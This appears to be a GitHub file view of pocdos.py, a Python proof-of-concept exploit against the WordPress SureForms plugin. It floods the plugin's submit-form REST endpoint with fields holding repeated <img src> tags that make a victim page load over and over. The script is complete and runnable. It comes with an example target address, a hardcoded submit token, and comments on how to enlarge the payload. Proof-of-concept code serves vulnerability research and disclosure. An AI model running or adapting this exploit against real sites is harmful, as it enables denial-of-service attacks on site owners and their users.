-
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpocdos.py
More file actions
60 lines (57 loc) · 2.06 KB
/
Copy pathpocdos.py
File metadata and controls
60 lines (57 loc) · 2.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import base64
def to_base64(text: str) -> str:
# encode string -> bytes
text_bytes = text.encode("utf-8")
# convert bytes -> base64 bytes
base64_bytes = base64.b64encode(text_bytes)
# convert base64 bytes -> string
return base64_bytes.decode("utf-8")
def poc(url,id,token,page,time):
url = url + "/index.php/wp-json/sureforms/v1/submit-form"
data ={
"form-id" : id
}
cnt=0
#please change this number to increase the payload size, but be careful, if the payload is too big, the request will be blocked or error.
for i in range(1,100):
#create random string 100 letters
s=str(i)
# push to data
#encode to base64
s=to_base64(s)
x="xxx-lbl-" +str(s)+"-xxx"
# pasting this payload how many times you want
# <img src=<the victim>page >
tmp = "<img src=" + page + str(cnt) +">"
for i in range(1,time+1):
cnt+=1;
tmp += "<img src=" + page +str(cnt)+">"
data[x]=tmp
#set _local params
params = {
"_locale" : "user"
}
#header
header = {
"X-WP-Submit-Token": token
}
response = requests.post(url,data=data,params=params,headers=header)
print(response.text)
print (response.elapsed.total_seconds())
if __name__ == "__main__":
# url =input("type wordpress url: ")
# id = int(input("id of the form: "))
# token = input("submit nonce: ")
# page = input("page to be loaded: ")
# times = int(input("how many times you want the page to be loaded: "))
# token can be found at the form submit request
# page can be the same as url.
# the times is the times the payload will be loaded, the more times, the more payload size, but be careful, if the payload is too big, the request will be blocked or error.
#example:
url = "http://172.23.71.121/WordPress/"
id = 6
token = "11b4c08f09b9c2e313ba3dd3c97385780c8313fabc1809d5b426b5268f0afcd4"
page = "http://172.23.71.121/WordPress/"
times=10
poc(url,id,token,page,times)